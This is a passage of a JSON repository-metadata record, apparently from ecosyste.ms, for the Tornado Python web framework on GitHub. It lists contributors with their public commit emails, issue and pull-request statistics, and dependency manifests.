Melara","email":"charlesmelara@riseup.net","login":"charles2910","count":1},{"name":"Chengzzzi","email":"36990436+TnTomato","login":"TnTomato","count":1},{"name":"Chinyue Chen","email":"chinyue@gmail.com","login":"chinyue","count":1},{"name":"Chris Gavin","email":"chris@chrisgavin.me","login":"chrisgavin","count":1},{"name":"Chris Lea","email":"chris.lea@gmail.com","login":"chrislea","count":1},{"name":"Chris McGuire","email":"chris.r.mcguire@gmail.com","login":"chrismcguire","count":1},{"name":"Iver Jordal","email":"iver56@hotmail.com","login":"iver56","count":1},{"name":"Colin Watson","email":"cjwatson@debian.org","login":"cjwatson","count":1},{"name":"Cornel Punga","email":"cornel.punga@gmail.com","login":"0xcpu","count":1},{"name":"Cyril Mouchel","email":"mouchel.cyril@gmail.com","login":"mouchh","count":1},{"name":"Daiki Aminaka","email":"1991.daiki@gmail.com","login":"ami-GS","count":1},{"name":"Dan Loewenherz","email":"dloewenherz@gmail.com","login":"dlo","count":1},{"name":"Daniel Aharon","email":"dan@danielaharon.com","login":"daharon","count":1},{"name":"Daniel Darabos","email":"darabos.daniel@gmail.com","login":"darabos","count":1},{"name":"Daniel Garcia Moreno","email":"daniel.garcia@suse.com","login":"danigm","count":1},{"name":"Daniel Robbins","email":"drobbins@funtoo.org","login":"danielrobbins","count":1},{"name":"Dario","email":"medariox","login":"medariox","count":1},{"name":"David Hilton","email":"david.hilton.p@gmail.com","login":"dhiltonp","count":1},{"name":"David Novakovic","email":"davidnovakovic@gmail.com","login":"dpnova","count":1},{"name":"David Walker","email":"dave@mudsite.com","login":"bp1222","count":1},{"name":"Debby","email":"debby@glance.net","login":"vivamexico","count":1},{"name":"Dmitri Cherniak","email":"dmitric@gmail.com","login":"dmitric","count":1},{"name":"Dmitry Volodin","email":"dv@nocproject.org","login":"dvolodin7","count":1},{"name":"Dominique Plante","email":"dominique.plante@gmail.com","login":"dominiqueplante","count":1},{"name":"Doug Goldstein","email":"cardoe@cardoe.com","login":"cardoe","count":1},{"name":"Eddie Darling","email":"darling@berkeley.edu","login":"spagh-eddie","count":1},{"name":"Alexei Pertsev","email":"oeermanz@gmail.com","login":"a-pertsev","count":1},{"name":"Alexander Maryanovsky","email":"msasha@gmail.com","login":"m-sasha","count":1},{"name":"Alexander","email":"aleksandr.plaxin@gmail.com","login":"AlexanderSov","count":1},{"name":"Alex Vandiver","email":"alex@chmrr.net","login":"alexmv","count":1},{"name":"Akos Kiss","email":"akiss@inf.u-szeged.hu","login":"akosthekiss","count":1},{"name":"Ahmed El-Hassany","email":"ahassany@indiana.edu","login":"ahassany","count":1},{"name":"Abhinav Gupta","email":"abg@uber.com","login":"abhinav","count":1},{"name":"Aaron Gibson","email":"aaron@headspin.io","login":"eulersIDcrisis","count":1},{"name":"Alexey","email":"forestbiiird@gmail.com","login":"WouldYouKindly","count":1},{"name":"Amit Patel","email":"amitp@cs.stanford.edu","login":"amitp","count":1},{"name":"Anders Kaseorg","email":"andersk@mit.edu","login":"andersk","count":1},{"name":"Andrew Glinskiy","email":"nordaux@gmail.com","login":"nordaux","count":1},{"name":"Andrew Plotkin","email":"zgithub@eblong.com","login":"erkyrath","count":1},{"name":"Andrew Svetlov","email":"andrew.svetlov@gmail.com","login":"asvetlov","count":1},{"name":"Andrii Oriekhov","email":"andriyorehov@gmail.com","login":"andriyor","count":1},{"name":"Anil Tuncel","email":"anil.tuncel@epfl.ch","login":"anilbey","count":1},{"name":"Antoine Pietri","email":"antoine.pietri1@gmail.com","login":"seirl","count":1},{"name":"Anton Shestakov","email":"engored@ya.ru","login":"antonv6","count":1},{"name":"Brandon Bickford","email":"bickfordb@gmail.com","login":"bickfordb","count":1},{"name":"Boris","email":"ttyv00@gmail.com","login":"risboo6909","count":1},{"name":"Bernardo Heynemann","email":"heynemann@gmail.com","login":"heynemann","count":1},{"name":"Ben Dyer","email":"ben.dyer@taguchimail.com","login":"bendyer","count":1},{"name":"Artemi Krymski","email":"akrymski@gmail.com","login":"akrymski","count":1},{"name":"Arnaud Schoonjans","email":"arnaud.schoonjans@inmanta.com","login":"arnaudsjs","count":1},{"name":"Armen Michaeli","email":"armen@armen.michaeli.name","login":"amn","count":1},{"name":"Arik Fraimovich","email":"arik@arikfr.com","login":"arikfr","count":1},{"name":"Arihant Agarwal","email":"me@arihant.me","login":"arihantagarwal","count":1},{"name":"Brett Randall","email":"javabrett@gmail.com","login":"javabrett","count":1},{"name":"Brian Beach","email":"coder@beachfamily.net","login":"bwbeach","count":1},{"name":"Jake Stambaugh","email":"jake.stambaugh@gmail.com","login":"jakestambaugh","count":1},{"name":"James Bourbeau","email":"jrbourbeau@gmail.com","login":"jrbourbeau","count":1},{"name":"Jamie Wong","email":"phleet@gmail.com","login":"jlfwong","count":1},{"name":"Jan Sarenik","email":"jajomojo@gmail.com","login":"jsarenik","count":1},{"name":"Jan van Hellemond","email":"jan@frontlab.nl","login":"jvhellemond","count":1},{"name":"Jeff Hodsdon","email":"jeffhodsdon@gmail.com","login":"jeffhodsdon","count":1},{"name":"Jeff van Santen","email":"jeffreyavansanten@gmail.com","login":"jvansan","count":1},{"name":"Jelle Zijlstra","email":"jelle.zijlstra@gmail.com","login":"JelleZijlstra","count":1},{"name":"Jesus Arias Fisteus","email":"jfisteus@gmail.com","login":"jfisteus","count":1},{"name":"Joachim Bauch","email":"mail@joachim-bauch.de","login":"fancycode","count":1},{"name":"Jonas Ehrlich","email":"jonas.ehrlich@gmail.com","login":"jonasehrlich","count":1},{"name":"Joseph","email":"josephok@qq.com","login":"josephok","count":1},{"name":"Josh Humphries","email":"jrdhumphries@gmail.com","login":"jrdh","count":1},{"name":"José Martínez","email":"xosemp@gmail.com","login":"xose","count":1},{"name":"JuanPablo","email":"jpabloaj@gmail.com","login":"juanpabloaj","count":1},{"name":"Julien Stephan","email":"jstephan@baylibre.com","login":"justeph","count":1},{"name":"Juraj Niznan","email":"jurajniznan@gmail.com","login":"jniznan","count":1},{"name":"Justin Mayhew","email":"mayhew@live.ca","login":"justinmayhew","count":1},{"name":"Justin Rosenthal","email":"justin.rosenthal@gmail.com","login":"justinrosenthal","count":1},{"name":"Justin Samuel","email":"js@justinsamuel.com","login":"jsamuel","count":1},{"name":"Karlis Lauva","email":"skazhy@gmail.com","login":"skazhy","count":1},{"name":"Kevin Le","email":"kle@liftoff.io","login":"bkad","count":1},{"name":"Kobi Hikri","email":"kobi.hikri@gmail.com","login":"kobihikri","count":1},{"name":"Koki Oyatsu","email":"kaishuu0123@gmail.com","login":"kaishuu0123","count":1},{"name":"Konstantin","email":"knikitanov@me.com","login":"TeachMeHowToUse2FA","count":1},{"name":"Konstantin Kopachev","email":"tenzzor@gmail.com","login":"kkopachev","count":1},{"name":"Kouki Saito","email":"dan.addr.skd@gmail.com","login":"kouki-dan","count":1},{"name":"Lee Clemens","email":"java@leeclemens.net","login":"leeclemens","count":1},{"name":"Leon Chan","email":"tinyproxy@gmail.com","login":"gitchs","count":1},{"name":"Eden Li","email":"eden.li@gmail.com","login":"eden","count":1},{"name":"Eren Güven","email":"erenguven0@gmail.com","login":"eguven","count":1},{"name":"Ernest W. Durbin III","email":"ewdurbin@gmail.com","login":"ewdurbin","count":1},{"name":"zjjott","email":"zjjott@gmail.com","login":"zjjott","count":1},{"name":"Eugene Dubovoy","email":"eugene.dubovoy@gmail.com","login":"duboviy","count":1},{"name":"Evgeniy Dobrohvalov","email":"scipetr@gmail.com","login":"scipetr","count":1},{"name":"Federico Caselli","email":"CaselIT","login":"CaselIT","count":1},{"name":"Felinx Lee","email":"felinx.lee@gmail.com","login":"felinx","count":1},{"name":"Felix Yan","email":"felixonmars@archlinux.org","login":"felixonmars","count":1},{"name":"Finn Womack","email":"flan313@gmail.com","login":"finnagin","count":1},{"name":"Fitz Elliott","email":"fitz@cos.io","login":"felliott","count":1},{"name":"Flavio Garcia","email":"piraz@candango.org","login":"piraz","count":1},{"name":"Florian Ludwig","email":"f.ludwig@greyrook.com","login":"FlorianLudwig","count":1},{"name":"FreeAquar","email":"freeaquar@gmail.com","login":"freeaquar","count":1},{"name":"Frédéric Chapoton","email":"fchapoton2@gmail.com","login":"fchapoton","count":1},{"name":"Gareth T","email":"garetht","login":"garetht","count":1},{"name":"Gianfranco Costamagna","email":"costamagnagianfranco@yahoo.it","login":"LocutusOfBorg","count":1},{"name":"Graham Dumpleton","email":"Graham.Dumpleton@gmail.com","login":"GrahamDumpleton","count":1},{"name":"GunWoo Choi","email":"Hardtack","login":"Hardtack","count":1},{"name":"Guto Maia","email":"guto@guto.net","login":"gutomaia","count":1},{"name":"Hamza Faran","email":"hamzafaran@outlook.com","login":"hfaran","count":1},{"name":"Han Wang","email":"freddie.wanah@gmail.com","login":"freddiewanah","count":1},{"name":"Hermann Schachner","email":"hschachn","login":"hschachn","count":1},{"name":"Hsiaoming Yang","email":"me@lepture.com","login":"lepture","count":1},{"name":"Hugo van Kemenade","email":"hugovk","login":"hugovk","count":1},{"name":"EtiennePelletier","email":"etpelletier93@hotmail.com","login":"EtiennePelletier","count":1},{"name":"JR Heard","email":"jrheard@cs.stanford.edu","login":"jrheard","count":1},{"name":"Jacob Kristhammar","email":"kristhammar@gmail.com","login":"jacobk","count":1},{"name":"Jacob Sondergaard","email":"jacob@nephics.com","login":"jcbsv","count":1},{"name":"yushengjun","email":"apieceofredcloth@gmail.com","login":"apieceofredcloth","count":1}],"past_year_committers":[{"name":"Ben Darnell","email":"ben@bendarnell.com","login":"bdarnell","count":57},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":10},{"name":"Thomas Kluyver","email":"thomas@kluyver.me.uk","login":"takluyver","count":3},{"name":"Shantanu","email":"12621235+hauntsaninja","login":"hauntsaninja","count":2},{"name":"mokashang","email":"shangmengjiajiajia@gmail.com","login":"mokashang","count":2},{"name":"joegasewicz","email":"joegasewicz@gmail.com","login":"joegasewicz","count":1},{"name":"Sai Asish Y","email":"say.apm35@gmail.com","login":"SAY-5","count":1},{"name":"Psychosoc1al","email":"tohichpetrov@gmail.com","login":"Psychosoc1al","count":1},{"name":"Kobi Hikri","email":"kobi.hikri@gmail.com","login":"kobihikri","count":1},{"name":"Julien Stephan","email":"jstephan@baylibre.com","login":"justeph","count":1},{"name":"Carlos Henrique Lima Melara","email":"charlesmelara@riseup.net","login":"charles2910","count":1},{"name":"Arnaud Schoonjans","email":"arnaud.schoonjans@inmanta.com","login":"arnaudsjs","count":1},{"name":"Armen Michaeli","email":"armen@armen.michaeli.name","login":"amn","count":1},{"name":"Aaron Gibson","email":"aaron@headspin.io","login":"eulersIDcrisis","count":1},{"name":"maxtaran2010","email":"ocotifuzo727@gmail.com","login":null,"count":1},{"name":"Claude","email":"noreply@anthropic.com","login":null,"count":1}],"commits_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/commits","host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-20T00:00:10.776Z","repositories_count":6740034,"commits_count":975859012,"contributors_count":41146129,"owners_count":1356232,"committers_count":3349823,"icon_url":"https://github.com/github.png","host_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories"}},"issues":{"table":{"full_name":"tornadoweb/tornado","html_url":"https://github.com/tornadoweb/tornado","last_synced_at":"2026-08-24T13:18:10.868Z","status":null,"issues_count":206,"pull_requests_count":431,"avg_time_to_close_issue":39614074.5862069,"avg_time_to_close_pull_request":4496940.289940828,"issues_closed_count":145,"pull_requests_closed_count":338,"pull_request_authors_count":100,"issue_authors_count":162,"avg_comments_per_issue":3.320388349514563,"avg_comments_per_pull_request":0.9048723897911833,"merged_pull_requests_count":264,"bot_issues_count":0,"bot_pull_requests_count":27,"past_year_issues_count":18,"past_year_pull_requests_count":104,"past_year_avg_time_to_close_issue":1331791.2857142857,"past_year_avg_time_to_close_pull_request":671298.574074074,"past_year_issues_closed_count":14,"past_year_pull_requests_closed_count":54,"past_year_pull_request_authors_count":30,"past_year_issue_authors_count":17,"past_year_avg_comments_per_issue":1.4444444444444444,"past_year_avg_comments_per_pull_request":0.6538461538461539,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":3,"past_year_merged_pull_requests_count":34,"created_at":"2023-05-10T11:04:44.425Z","updated_at":"2026-08-24T13:18:10.868Z","repository_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado","issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/issues","issue_labels_count":{"table":{"web":14,"httpclient":7,"websocket":6,"autoreload":6,"auth":6,"docs":5,"concurrent":4,"typing":4,"gen":3,"other":3,"investigation":3,"httputil":3,"tcpserver":2,"asyncio":2,"iostream":2,"http1connection":2,"testing":1,"escape":1,"ioloop":1,"httpserver":1,"process":1,"locale":1,"queues":1,"log":1,"wsgi":1}},"pull_request_labels_count":{"table":{"dependencies":27,"python":7,"websocket":5,"web":4,"build":4,"asyncio":3,"httputil":3,"testing":2,"windows":2,"httpclient":2,"typing":2,"template":2,"netutil":1,"http1connection":1}},"issue_author_associations_count":{"table":{"NONE":167,"CONTRIBUTOR":25,"MEMBER":14}},"pull_request_author_associations_count":{"table":{"MEMBER":201,"NONE":143,"CONTRIBUTOR":87}},"issue_authors":{"table":{"bdarnell":14,"kloczek":5,"graingert":4,"spaceone":4,"bhch":3,"VARSHAJOSHY":3,"kenballus":3,"thijsvandien":3,"joegasewicz":2,"pawciobiel":2,"hrnciar":2,"befeleme":2,"finnagin":2,"arnaudsjs":2,"max32002":2,"dave-shawley":2,"minrk":2,"ockan":2,"shaxiaozz":2,"mrocklin":2,"WhitewaterDave":2,"dchirikov":1,"mgorny":1,"Raoul555":1,"pfrantz":1,"TUO-Wu":1,"sahu-sunil":1,"dettonijr":1,"jconsidi":1,"WilliamSoCreat":1,"mmoreirasouza":1,"peterkorodi":1,"pitrou":1,"Faizan-Alam-1":1,"justeph":1,"e-carlin":1,"joesolly":1,"ecbftw":1,"pylorak":1,"kellym":1,"ezdev128":1,"dwis66609-rgb":1,"ptazithos":1,"benweatherman":1,"Stronking":1,"handorf":1,"gdbrianlu":1,"zhubijia":1,"bdoms":1,"moijes12":1,"mengyaommm":1,"mapa17":1,"adamrothman":1,"ianb":1,"JamieSlome":1,"compressionist":1,"lambdaq":1,"benediamond":1,"julienfr112":1,"saltedsword":1,"fjetter":1,"wxy8wxy":1,"HrachShah":1,"mboisson":1,"dmadisetti":1,"jolaf":1,"lalnarik":1,"mtelka":1,"scoder":1,"mslynch":1,"the-c0d3br34k3r":1,"mivade":1,"liaochris":1,"stepsbystep":1,"Wason1797":1,"LiliumYang":1,"Bluscream":1,"paulocheque":1,"AFoolPig":1,"willATgithub":1,"viswamy":1,"yingying9025123-code":1,"PeterJCLaw":1,"zhijunyuu":1,"carlostighe":1,"rajasankar":1,"hclivess":1,"akoidan":1,"ian-h-chamberlain":1,"xiaochenJCC":1,"creat89":1,"chrisstaite-menlo":1,"alunduil":1,"Grandpa-G":1,"toplinuxsir":1,"kirk86":1,"tkzczen":1,"xylo987":1,"eulersIDcrisis":1,"sctse999":1,"eliasp":1,"vr2262":1,"zweifeng1995":1,"enolfc":1,"philippjfr":1,"gogasca":1,"Lookyan":1,"jinluyang":1,"rakeshsukla53":1,"m-clare":1,"yuyang00":1,"exajuk":1,"edison12a":1,"eljeffeg":1,"akarukappadath":1,"allrob23":1,"ok2":1,"maikenp":1,"Y-Destiny":1,"timabbott":1,"PaulSvensson":1,"yecloud":1,"ygbh":1,"purpleball12":1,"kfrendrich":1,"3shao":1,"littleningmeng":1,"legnaleurc":1,"yj0520":1,"SnarkBoojum":1,"aaadriannn":1,"seibert":1,"tzuryby":1,"srcreigh":1,"Reinering":1,"danigm":1,"gujincun":1,"mishudark":1,"maartenbreddels":1,"jvanlangen":1,"jrheard":1,"shimondoodkin":1,"ZeddYu":1,"sirosen":1,"LiangXianSen":1,"meffmadd":1,"malhotravasu":1,"joshuamcginnis":1,"ajgomezlopez":1,"0x11-dev":1,"ghevge":1,"a5595303":1,"jonathon-love":1,"xrmx":1,"digitaldavenyc":1,"RoelWKramer":1,"schaumb":1,"dryalcinmehmet":1,"thebaptiste":1,"rgajrawala":1,"shselbst":1,"J1vvoo":1}},"pull_request_authors":{"table":{"bdarnell":201,"HrachShah":34,"dependabot[bot]":27,"Sanjays2402":7,"Nirab123456":5,"takluyver":4,"lysnikolaou":4,"tacaswell":4,"oliver-sanders":3,"pcavalar":3,"amir-rezaei":3,"snt-pedro":3,"minrk":3,"eulersIDcrisis":3,"mslynch":3,"pawciobiel":3,"finnagin":2,"stefanor":2,"nytakahashi":2,"quique0194":2,"danigm":2,"bestcondition":2,"ivanmilevtues":2,"malhotravasu":2,"bysiber":2,"jrheard":2,"vargenau":2,"hauntsaninja":2,"drewmiller":2,"paulobaggio":2,"cjwatson":2,"rgajrawala":2,"yuemxu":2,"armorbreak001":2,"alexmv":2,"tietiexx":2,"hXtreme":2,"AshwinDeshpandeBG":2,"Shxbh-benzo":2,"m-czernek":2,"dave-shawley":2,"joegasewicz":2,"andersk":2,"Dadeos-Menlo":2,"jrheard-seesaw":2,"jonoberheide":2,"MiXaiLL76":2,"bkad":2,"freddiewanah":2,"boidolr":2,"kloczek":2,"kenballus":2,"siddhant-sachdeva":2,"jonathandung":1,"mokashang":1,"mkumatag":1,"koteshyelamati":1,"rasimandiran":1,"Joshix-1":1,"socketpair":1,"DeepLyx":1,"muhamedfazalps":1,"SAY-5":1,"ghost":1,"charles2910":1,"amn":1,"spaceone":1,"offyotto":1,"tkukushkin":1,"staticglobal":1,"evildojo666":1,"veeceey":1,"TnTomato":1,"eeshsaxena":1,"meramsey":1,"grantjenks":1,"uniontech-lilinjie":1,"rameshvarun":1,"abhi-0203":1,"hroncok":1,"haosenwang1018":1,"chncaption":1,"bartv":1,"thetorpedodog":1,"Psychosoc1al":1,"dittonedo45":1,"homm":1,"peterbe":1,"Alnusjaponica":1,"graingert":1,"maxtaran2010":1,"kobihikri":1,"mhils":1,"jadehh":1,"stewartsmith":1,"bluetech":1,"killerdevildog":1,"justeph":1,"mclegrand":1,"qcha0":1}},"host":{"table":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-25T00:00:09.459Z","repositories_count":16324715,"issues_count":42381630,"pull_requests_count":135850352,"authors_count":11519836,"icon_url":"https://github.com/github.png","host_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories","owners_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/owners","authors_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors"}},"past_year_issue_labels_count":{"table":{}},"past_year_pull_request_labels_count":{"table":{"dependencies":3,"python":3,"build":1}},"past_year_issue_author_associations_count":{"table":{"NONE":14,"CONTRIBUTOR":3,"MEMBER":1}},"past_year_pull_request_author_associations_count":{"table":{"NONE":68,"MEMBER":22,"CONTRIBUTOR":14}},"past_year_issue_authors":{"table":{"joegasewicz":2,"yingying9025123-code":1,"xrmx":1,"purpleball12":1,"ptazithos":1,"PaulSvensson":1,"ockan":1,"mgorny":1,"mboisson":1,"justeph":1,"J1vvoo":1,"HrachShah":1,"Grandpa-G":1,"dwis66609-rgb":1,"befeleme":1,"bdarnell":1,"aaadriannn":1}},"past_year_pull_request_authors":{"table":{"HrachShah":34,"bdarnell":22,"Sanjays2402":7,"amir-rezaei":3,"takluyver":3,"dependabot[bot]":3,"snt-pedro":3,"m-czernek":2,"armorbreak001":2,"AshwinDeshpandeBG":2,"bysiber":2,"hauntsaninja":2,"joegasewicz":2,"mokashang":1,"muhamedfazalps":1,"offyotto":1,"Psychosoc1al":1,"SAY-5":1,"stewartsmith":1,"veeceey":1,"maxtaran2010":1,"koteshyelamati":1,"kobihikri":1,"justeph":1,"jonathandung":1,"haosenwang1018":1,"eeshsaxena":1,"charles2910":1,"amn":1,"abhi-0203":1}},"maintainers":[{"table":{"login":"bdarnell","count":215,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/bdarnell"}}],"active_maintainers":[{"table":{"login":"bdarnell","count":23,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/bdarnell"}}]}},"events":{"total":{"CreateEvent":14,"DeleteEvent":10,"ForkEvent":109,"GollumEvent":1,"IssueCommentEvent":169,"IssuesEvent":72,"PullRequestEvent":150,"PullRequestReviewCommentEvent":23,"PullRequestReviewEvent":26,"PushEvent":77,"WatchEvent":690},"last_year":{"CreateEvent":3,"DeleteEvent":4,"ForkEvent":15,"IssueCommentEvent":20,"IssuesEvent":9,"PullRequestEvent":19,"PullRequestReviewCommentEvent":1,"PushEvent":15,"WatchEvent":180}},"keywords":["asynchronous","python"],"dependencies":[{"ecosystem":"actions","filepath":".github/workflows/build.yml","sha":null,"kind":"manifest","created_at":"2023-01-13T10:34:37.594Z","updated_at":"2023-01-13T10:34:37.594Z","repository_link":"https://github.com/tornadoweb/tornado/blob/master/.github/workflows/build.yml","dependencies":[{"id":6875552321,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6875552322,"package_name":"actions/setup-python","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6875552323,"package_name":"actions/upload-artifact","ecosystem":"actions","requirements":"v2","direct":true,"kind":"composite","optional":false},{"id":6875552324,"package_name":"docker/setup-qemu-action","ecosystem":"actions","requirements":"v1","direct":true,"kind":"composite","optional":false},{"id":6875552325,"package_name":"pypa/cibuildwheel","ecosystem":"actions","requirements":"v2.6.1","direct":true,"kind":"composite","optional":false},{"id":6875552326,"package_name":"actions/download-artifact","ecosystem":"actions","requirements":"v2","direct":true,"kind":"composite","optional":false},{"id":6875552327,"package_name":"pypa/gh-action-pypi-publish","ecosystem":"actions","requirements":"v1.5.0","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/test.yml","sha":null,"kind":"manifest","created_at":"2023-01-13T10:34:37.616Z","updated_at":"2023-01-13T10:34:37.616Z","repository_link":"https://github.com/tornadoweb/tornado/blob/master/.github/workflows/test.yml","dependencies":[{"id":6875552328,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6875552329,"package_name":"actions/setup-python","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"docker","filepath":"demos/blog/Dockerfile","sha":null,"kind":"manifest","created_at":"2023-01-13T10:34:37.662Z","updated_at":"2023-01-13T10:34:37.662Z","repository_link":"https://github.com/tornadoweb/tornado/blob/master/demos/blog/Dockerfile","dependencies":[{"id":6875552330,"package_name":"python","ecosystem":"docker","requirements":"3.7","direct":true,"kind":"build","optional":false}]},{"ecosystem":"pypi","filepath":"demos/blog/requirements.txt","sha":null,"kind":"manifest","created_at":"2023-01-13T10:34:37.710Z","updated_at":"2023-01-13T10:34:37.710Z","repository_link":"https://github.com/tornadoweb/tornado/blob/master/demos/blog/requirements.txt","dependencies":[{"id":6875552331,"package_name":"aiopg","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":6875552332,"package_name":"bcrypt","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":6875552333,"package_name":"markdown","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":6875552334,"package_name":"psycopg2","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":6875552335,"package_name":"tornado","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false}]},{"ecosystem":"pypi","filepath":"requirements.in","sha":null,"kind":"manifest","created_at":"2023-07-05T15:16:53.252Z","updated_at":"2023-07-05T15:16:53.252Z","repository_link":"https://github.com/tornadoweb/tornado/blob/master/requirements.in","dependencies":[{"id":11146381197,"package_name":"black","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":11146381198,"package_name":"flake8","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":11146381199,"package_name":"mypy","ecosystem":"pypi","requirements":"\u003e=0.941","direct":true,"kind":"runtime","optional":false},{"id":11146381200,"package_name":"pip-tools","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":11146381201,"package_name":"sphinx","ecosystem":"pypi","requirements":"\u003c6","direct":true,"kind":"runtime","optional":false},{"id":11146381202,"package_name":"sphinxcontrib-asyncio","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":11146381203,"package_name":"sphinx_rtd_theme","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":11146381204,"package_name":"types-pycurl","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":11146381214,"package_name":"tox","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false}]},{"ecosystem":"pypi","filepath":"requirements.txt","sha":null,"kind":"lockfile","created_at":"2023-07-05T15:16:53.354Z","updated_at":"2023-07-05T15:16:53.354Z","repository_link":"https://github.com/tornadoweb/tornado/blob/master/requirements.txt","dependencies":[{"id":11146381215,"package_name":"alabaster","ecosystem":"pypi","requirements":"==0.7.13","direct":false,"kind":"runtime","optional":false},{"id":11146381216,"package_name":"babel","ecosystem":"pypi","requirements":"==2.11.0","direct":false,"kind":"runtime","optional":false},{"id":11146381217,"package_name":"black","ecosystem":"pypi","requirements":"==22.12.0","direct":false,"kind":"runtime","optional":false},{"id":11146381218,"package_name":"build","ecosystem":"pypi","requirements":"==0.10.0","direct":false,"kind":"runtime","optional":false},{"id":11146381219,"package_name":"cachetools","ecosystem":"pypi","requirements":"==5.3.1","direct":false,"kind":"runtime","optional":false},{"id":11146381220,"package_name":"certifi","ecosystem":"pypi","requirements":"==2022.12.7","direct":false,"kind":"runtime","optional":false},{"id":11146381221,"package_name":"chardet","ecosystem":"pypi","requirements":"==5.1.0","direct":false,"kind":"runtime","optional":false},{"id":11146381222,"package_name":"charset-normalizer","ecosystem":"pypi","requirements":"==3.0.1","direct":false,"kind":"runtime","optional":false},{"id":11146381223,"package_name":"click","ecosystem":"pypi","requirements":"==8.1.3","direct":false,"kind":"runtime","optional":false},{"id":11146381224,"package_name":"colorama","ecosystem":"pypi","requirements":"==0.4.6","direct":false,"kind":"runtime","optional":false},{"id":11146381225,"package_name":"distlib","ecosystem":"pypi","requirements":"==0.3.6","direct":false,"kind":"runtime","optional":false},{"id":11146381226,"package_name":"docutils","ecosystem":"pypi","requirements":"==0.17.1","direct":false,"kind":"runtime","optional":false},{"id":11146381227,"package_name":"filelock","ecosystem":"pypi","requirements":"==3.12.0","direct":false,"kind":"runtime","optional":false},{"id":11146381228,"package_name":"flake8","ecosystem":"pypi","requirements":"==6.0.0","direct":false,"kind":"runtime","optional":false},{"id":11146381229,"package_name":"idna","ecosystem":"pypi","requirements":"==3.4","direct":false,"kind":"runtime","optional":false},{"id":11146381230,"package_name":"imagesize","ecosystem":"pypi","requirements":"==1.4.1","direct":false,"kind":"runtime","optional":false},{"id":11146381231,"package_name":"jinja2","ecosystem":"pypi","requirements":"==3.1.2","direct":false,"kind":"runtime","optional":false},{"id":11146381232,"package_name":"markupsafe","ecosystem":"pypi","requirements":"==2.1.2","direct":false,"kind":"runtime","optional":false},{"id":11146381233,"package_name":"mccabe","ecosystem":"pypi","requirements":"==0.7.0","direct":false,"kind":"runtime","optional":false},{"id":11146381234,"package_name":"mypy","ecosystem":"pypi","requirements":"==0.991","direct":false,"kind":"runtime","optional":false},{"id":11146381235,"package_name":"mypy-extensions","ecosystem":"pypi","requirements":"==0.4.3","direct":false,"kind":"runtime","optional":false},{"id":11146381236,"package_name":"packaging","ecosystem":"pypi","requirements":"==23.1","direct":false,"kind":"runtime","optional":false},{"id":11146381237,"package_name":"pathspec","ecosystem":"pypi","requirements":"==0.10.3","direct":false,"kind":"runtime","optional":false},{"id":11146381238,"package_name":"pip-tools","ecosystem":"pypi","requirements":"==6.12.1","direct":false,"kind":"runtime","optional":false},{"id":11146381239,"package_name":"platformdirs","ecosystem":"pypi","requirements":"==3.5.1","direct":false,"kind":"runtime","optional":false},{"id":11146381240,"package_name":"pluggy","ecosystem":"pypi","requirements":"==1.0.0","direct":false,"kind":"runtime","optional":false},{"id":11146381241,"package_name":"pycodestyle","ecosystem":"pypi","requirements":"==2.10.0","direct":false,"kind":"runtime","optional":false},{"id":11146381242,"package_name":"pyflakes","ecosystem":"pypi","requirements":"==3.0.1","direct":false,"kind":"runtime","optional":false},{"id":11146381243,"package_name":"pygments","ecosystem":"pypi","requirements":"==2.14.0","direct":false,"kind":"runtime","optional":false},{"id":11146381244,"package_name":"pyproject-api","ecosystem":"pypi","requirements":"==1.5.1","direct":false,"kind":"runtime","optional":false},{"id":11146381245,"package_name":"pyproject-hooks","ecosystem":"pypi","requirements":"==1.0.0","direct":false,"kind":"runtime","optional":false},{"id":11146381246,"package_name":"pytz","ecosystem":"pypi","requirements":"==2022.7.1","direct":false,"kind":"runtime","optional":false},{"id":11146381247,"package_name":"requests","ecosystem":"pypi","requirements":"==2.31.0","direct":false,"kind":"runtime","optional":false},{"id":11146381248,"package_name":"snowballstemmer","ecosystem":"pypi","requirements":"==2.2.0","direct":false,"kind":"runtime","optional":false},{"id":11146381249,"package_name":"sphinx","ecosystem":"pypi","requirements":"==5.3.0","direct":false,"kind":"runtime","optional":false},{"id":11146381250,"package_name":"sphinx-rtd-theme","ecosystem":"pypi","requirements":"==1.1.1","direct":false,"kind":"runtime","optional":fals